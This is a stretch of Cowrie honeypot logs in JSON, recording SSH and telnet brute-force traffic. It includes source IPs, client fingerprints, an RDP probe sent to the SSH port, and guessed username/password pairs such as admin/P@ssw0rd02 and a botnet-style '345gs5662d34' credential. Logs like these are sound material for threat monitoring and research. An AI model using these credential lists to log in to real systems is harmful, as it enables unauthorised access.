{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:48.648982Z","src_ip":"181.65.191.218","session":"c11b6d6979a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:49.802367Z","src_ip":"181.65.191.218","session":"c11b6d6979a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":16414,"dst_ip":"10.17.0.5","dst_port":22,"session":"960584e7128a","protocol":"ssh","message":"New connection: 181.65.191.218:16414 (10.17.0.5:22) [session: 960584e7128a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:49.903538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:49.908348Z","src_ip":"181.65.191.218","session":"960584e7128a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:50.019045Z","src_ip":"181.65.191.218","session":"960584e7128a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:50.492181Z","src_ip":"181.65.191.218","session":"960584e7128a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:50.607365Z","src_ip":"181.65.191.218","session":"960584e7128a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:50.612638Z","src_ip":"181.65.191.218","session":"1b645af5de48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":59472,"dst_ip":"159.203.135.109","dst_port":23,"session":"76d038534ec5","protocol":"telnet","message":"New connection: 194.163.135.148:59472 (159.203.135.109:23) [session: 76d038534ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:53.433198Z"}
{"eventid":"cowrie.session.closed","duration":33.11721873283386,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:57.272748Z","src_ip":"194.163.135.148","session":"436fd6981e28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55138,"dst_ip":"159.203.135.109","dst_port":23,"session":"57ae9c33b7d2","protocol":"telnet","message":"New connection: 185.26.126.47:55138 (159.203.135.109:23) [session: 57ae9c33b7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:13:59.142220Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":51278,"dst_ip":"10.17.0.5","dst_port":23,"session":"a310f0ddfbad","protocol":"telnet","message":"New connection: 103.82.231.165:51278 (10.17.0.5:23) [session: a310f0ddfbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:13.037097Z"}
{"eventid":"cowrie.session.closed","duration":33.13225698471069,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:26.565360Z","src_ip":"194.163.135.148","session":"76d038534ec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":60996,"dst_ip":"159.203.135.109","dst_port":23,"session":"7331693a251b","protocol":"telnet","message":"New connection: 194.163.135.148:60996 (159.203.135.109:23) [session: 7331693a251b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:29.087810Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":49642,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e4c79963e0","protocol":"telnet","message":"New connection: 103.82.231.165:49642 (10.17.0.5:23) [session: 87e4c79963e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:31.043963Z"}
{"eventid":"cowrie.session.closed","duration":31.109285593032837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:44.146277Z","src_ip":"103.82.231.165","session":"a310f0ddfbad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":33298,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4f59124ebb6","protocol":"telnet","message":"New connection: 194.163.135.148:33298 (159.203.135.109:23) [session: d4f59124ebb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:45.668258Z"}
{"eventid":"cowrie.session.closed","duration":48.819437742233276,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:47.961533Z","src_ip":"185.26.126.47","session":"57ae9c33b7d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":34888,"dst_ip":"10.17.0.5","dst_port":22,"session":"0940848597e4","protocol":"ssh","message":"New connection: 181.65.191.218:34888 (10.17.0.5:22) [session: 0940848597e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:53.163880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:53.168307Z","src_ip":"181.65.191.218","session":"0940848597e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:53.278974Z","src_ip":"181.65.191.218","session":"0940848597e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd02","message":"login attempt [admin/P@ssw0rd02] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:53.751870Z","src_ip":"181.65.191.218","session":"0940848597e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":33736,"dst_ip":"159.203.135.109","dst_port":23,"session":"160f4c783009","protocol":"telnet","message":"New connection: 194.163.135.148:33736 (159.203.135.109:23) [session: 160f4c783009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:54.190374Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:54.865732Z","src_ip":"181.65.191.218","session":"0940848597e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":33828,"dst_ip":"159.203.135.109","dst_port":23,"session":"99b4d51c0856","protocol":"telnet","message":"New connection: 194.163.135.148:33828 (159.203.135.109:23) [session: 99b4d51c0856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:14:56.103919Z"}
{"eventid":"cowrie.session.closed","duration":32.482115268707275,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:01.569811Z","src_ip":"194.163.135.148","session":"7331693a251b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":34390,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d4449c3d579","protocol":"telnet","message":"New connection: 194.163.135.148:34390 (159.203.135.109:23) [session: 1d4449c3d579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:04.900563Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":44770,"dst_ip":"10.17.0.5","dst_port":23,"session":"7888bce9e394","protocol":"telnet","message":"New connection: 103.82.231.165:44770 (10.17.0.5:23) [session: 7888bce9e394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:08.833615Z"}
{"eventid":"cowrie.session.closed","duration":38.23220705986023,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:09.276096Z","src_ip":"103.82.231.165","session":"87e4c79963e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.29342484474182,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:18.961561Z","src_ip":"194.163.135.148","session":"d4f59124ebb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":35572,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7cf4dd1063f","protocol":"telnet","message":"New connection: 194.163.135.148:35572 (159.203.135.109:23) [session: c7cf4dd1063f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:28.444062Z"}
{"eventid":"cowrie.session.closed","duration":35.98368787765503,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:30.173967Z","src_ip":"194.163.135.148","session":"160f4c783009","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.83673810958862,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:31.940510Z","src_ip":"194.163.135.148","session":"99b4d51c0856","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":58305,"dst_ip":"10.17.0.5","dst_port":22,"session":"b884f61b3f08","protocol":"ssh","message":"New connection: 103.149.252.223:58305 (10.17.0.5:22) [session: b884f61b3f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:35.512367Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:35.517007Z","src_ip":"103.149.252.223","session":"b884f61b3f08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:35.520471Z","src_ip":"103.149.252.223","session":"b884f61b3f08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.43928575515747,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:37.339736Z","src_ip":"194.163.135.148","session":"1d4449c3d579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":39406,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c2f923b2de7","protocol":"telnet","message":"New connection: 103.82.231.165:39406 (10.17.0.5:23) [session: 2c2f923b2de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:39.194107Z"}
{"eventid":"cowrie.session.closed","duration":31.386045455932617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:40.219509Z","src_ip":"103.82.231.165","session":"7888bce9e394","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":39428,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea26a499fb43","protocol":"telnet","message":"New connection: 103.82.231.165:39428 (10.17.0.5:23) [session: ea26a499fb43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:41.154840Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":39418,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ef1b240e20a","protocol":"telnet","message":"New connection: 103.82.231.165:39418 (10.17.0.5:23) [session: 4ef1b240e20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:15:55.431523Z"}
{"eventid":"cowrie.session.closed","duration":34.23506569862366,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:02.679041Z","src_ip":"194.163.135.148","session":"c7cf4dd1063f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":29262,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eb901226ff4","protocol":"ssh","message":"New connection: 181.65.191.218:29262 (10.17.0.5:22) [session: 8eb901226ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:03.039484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:03.048314Z","src_ip":"181.65.191.218","session":"8eb901226ff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:03.165663Z","src_ip":"181.65.191.218","session":"8eb901226ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myadmin","password":"myadmin","message":"login attempt [myadmin/myadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:03.662679Z","src_ip":"181.65.191.218","session":"8eb901226ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:04.782914Z","src_ip":"181.65.191.218","session":"8eb901226ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.647670030593872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:10.841660Z","src_ip":"103.82.231.165","session":"2c2f923b2de7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.501344442367554,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:13.656096Z","src_ip":"103.82.231.165","session":"ea26a499fb43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":37308,"dst_ip":"159.203.135.109","dst_port":23,"session":"4865dbda13a6","protocol":"telnet","message":"New connection: 194.163.135.148:37308 (159.203.135.109:23) [session: 4865dbda13a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:16.949356Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":37402,"dst_ip":"159.203.135.109","dst_port":23,"session":"24e503c2c4d3","protocol":"telnet","message":"New connection: 194.163.135.148:37402 (159.203.135.109:23) [session: 24e503c2c4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:18.613668Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":37790,"dst_ip":"159.203.135.109","dst_port":23,"session":"761dcf1fa20e","protocol":"telnet","message":"New connection: 194.163.135.148:37790 (159.203.135.109:23) [session: 761dcf1fa20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:24.124865Z"}
{"eventid":"cowrie.session.closed","duration":43.189892292022705,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:38.621307Z","src_ip":"103.82.231.165","session":"4ef1b240e20a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70723533630371,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:48.656443Z","src_ip":"194.163.135.148","session":"4865dbda13a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":39278,"dst_ip":"159.203.135.109","dst_port":23,"session":"4525f76c0f0d","protocol":"telnet","message":"New connection: 194.163.135.148:39278 (159.203.135.109:23) [session: 4525f76c0f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:49.504537Z"}
{"eventid":"cowrie.session.closed","duration":31.554523468017578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:50.168059Z","src_ip":"194.163.135.148","session":"24e503c2c4d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43252921104431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:16:55.557274Z","src_ip":"194.163.135.148","session":"761dcf1fa20e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":48702,"dst_ip":"10.17.0.5","dst_port":23,"session":"07dbf82fe13a","protocol":"telnet","message":"New connection: 103.115.172.252:48702 (10.17.0.5:23) [session: 07dbf82fe13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:17:04.744815Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":38040,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e1c6ae577e3","protocol":"ssh","message":"New connection: 181.65.191.218:38040 (10.17.0.5:22) [session: 1e1c6ae577e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:17:11.627920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:17:11.634135Z","src_ip":"181.65.191.218","session":"1e1c6ae577e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:17:11.751329Z","src_ip":"181.65.191.218","session":"1e1c6ae577e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"P@ssw0rd","message":"login attempt [adminuser/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:17:12.235528Z","src_ip":"181.65.191.218","session":"1e1c6ae577e3","protocol":"ssh"}
